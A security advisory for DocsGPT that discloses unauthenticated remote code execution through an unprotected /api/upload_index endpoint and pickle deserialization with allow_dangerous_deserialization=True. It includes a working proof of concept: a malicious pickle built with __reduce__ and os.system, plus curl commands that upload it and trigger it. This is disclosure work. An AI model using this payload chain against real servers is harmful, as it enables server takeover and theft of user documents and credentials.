Skip to content

Unauthenticated Remote Code Execution (RCE) via Unsafe FAISS Pickle Deserialization in `/api/upload_index`

High
dartpain published GHSA-m448-vp23-j393 Jun 7, 2026

Package

pip docsgpt (pip)

Affected versions

< v 0.15.0

Patched versions

none

Description

Summary

DocsGPT contains a critical vulnerability where an unauthenticated attacker can upload malicious FAISS index files (index.pkl) via the /api/upload_index endpoint. When these files are subsequently loaded for a query, the backend utilizes FAISS.load_local with allow_dangerous_deserialization=True, resulting in immediate, unauthenticated Remote Code Execution (RCE) on the server.

Crucially, this is an application logic flaw, not a deployment misconfiguration. The vulnerability remains fully exploitable even if an administrator strictly configures AUTH_TYPE=simple_jwt or session_jwt, because the vulnerable endpoint omits standard authentication checks.

Details

There are two core flaws that chain together to create this RCE:

  1. Fail-Open Authentication Bypass:
    The application/app.py before_request hook decodes JWT tokens but does not enforce them, leaving it to individual route handlers. The /api/upload_index endpoint (in application/api/internal/routes.py) completely omits the token verification check (if not request.decoded_token: return 401).
    It has a verify_internal_key check, but this check is placed behind a conditional if settings.INTERNAL_KEY:. Because INTERNAL_KEY is None by default in application/core/settings.py, the check is entirely bypassed. Thus, the endpoint is completely public regardless of the AUTH_TYPE setting in the .env file.

  2. Unsafe Deserialization:
    The /api/upload_index endpoint saves uploaded index.pkl and index.faiss files directly to indexes/{id}/.
    When a user or attacker requests an answer using this {id} as the source, the FaissStore.__init__ method (in application/vectorstore/faiss.py, line 57) loads it:

    self.docsearch = FAISS.load_local(
        temp_dir, self.embeddings, allow_dangerous_deserialization=True
    )

    Langchain's allow_dangerous_deserialization=True explicitly permits the loading of arbitrary Python objects using pickle. Supplying a crafted index.pkl results in the execution of arbitrary commands.

PoC

To prove that this vulnerability bypasses intended authentication and is a flaw within the application codebase, we deploy a "production-like" secured environment with Docker Compose.

Step 1. Set up the "Secure" Environment
In the root directory of the repository, create the following .env file explicitly requiring authentication:

LLM_PROVIDER=docsgpt
AUTH_TYPE=simple_jwt
JWT_SECRET_KEY=super_secure_prod_key

Run the instance:

docker compose -f deployment/docker-compose.yaml up -d

Step 2. Create the Malicious Payload
Run the following Python script locally to generate the malicious index.pkl and dummy index.faiss:

import os
import pickle

class Malicious(object):
    def __reduce__(self):
        # The payload to execute inside the DocsGPT backend container
        return (os.system, ("touch /tmp/hacked_docsgpt_rce",))

with open("index.pkl", "wb") as f:
    f.write(pickle.dumps(Malicious()))
with open("index.faiss", "wb") as f:
    f.write(b"") # FAISS just needs the file to exist to pass the initial storage check

Step 3. Execute the Exploit
Even though the server expects Authorization: Bearer <token>, we can hit /api/upload_index without any headers.

# Upload the malicious index
curl -X POST http://localhost:7091/api/upload_index \
  -F "user=attacker" \
  -F "name=hacked_index" \
  -F "tokens=10" \
  -F "retriever=classic" \
  -F "id=64b8f5b8e4b0a1b2c3d4e5f6" \
  -F "type=file" \
  -F "file_faiss=@index.faiss" \
  -F "file_pkl=@index.pkl"

# Trigger the deserialization (RCE) by querying the uploaded index
curl -X POST http://localhost:7091/api/answer \
  -H "Content-Type: application/json" \
  -d '{"question": "trigger", "api_key": "x", "embeddings_key": "x", "source": "64b8f5b8e4b0a1b2c3d4e5f6", "history": ""}'

Step 4. Verification
Check the backend container. The /tmp/hacked_docsgpt_rce file successfully exists, proving unauthenticated command execution.

docker exec docsgpt-backend-1 ls -la /tmp/hacked_docsgpt_rce

Impact

This is a Critical (CVSS 9.8) Unauthenticated Remote Code Execution vulnerability.
Anyone who can reach the DocsGPT HTTP port (default 7091 or exposed via Nginx/Frontend) can gain complete control over the DocsGPT backend container/server. This can lead to database compromise, theft of cloud credentials (if the container has IAM roles), leakage of all user documents, and lateral movement into the internal network. All users hosting DocsGPT are impacted, as the INTERNAL_KEY relies on fail-open logic by default.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

No CWEs

Credits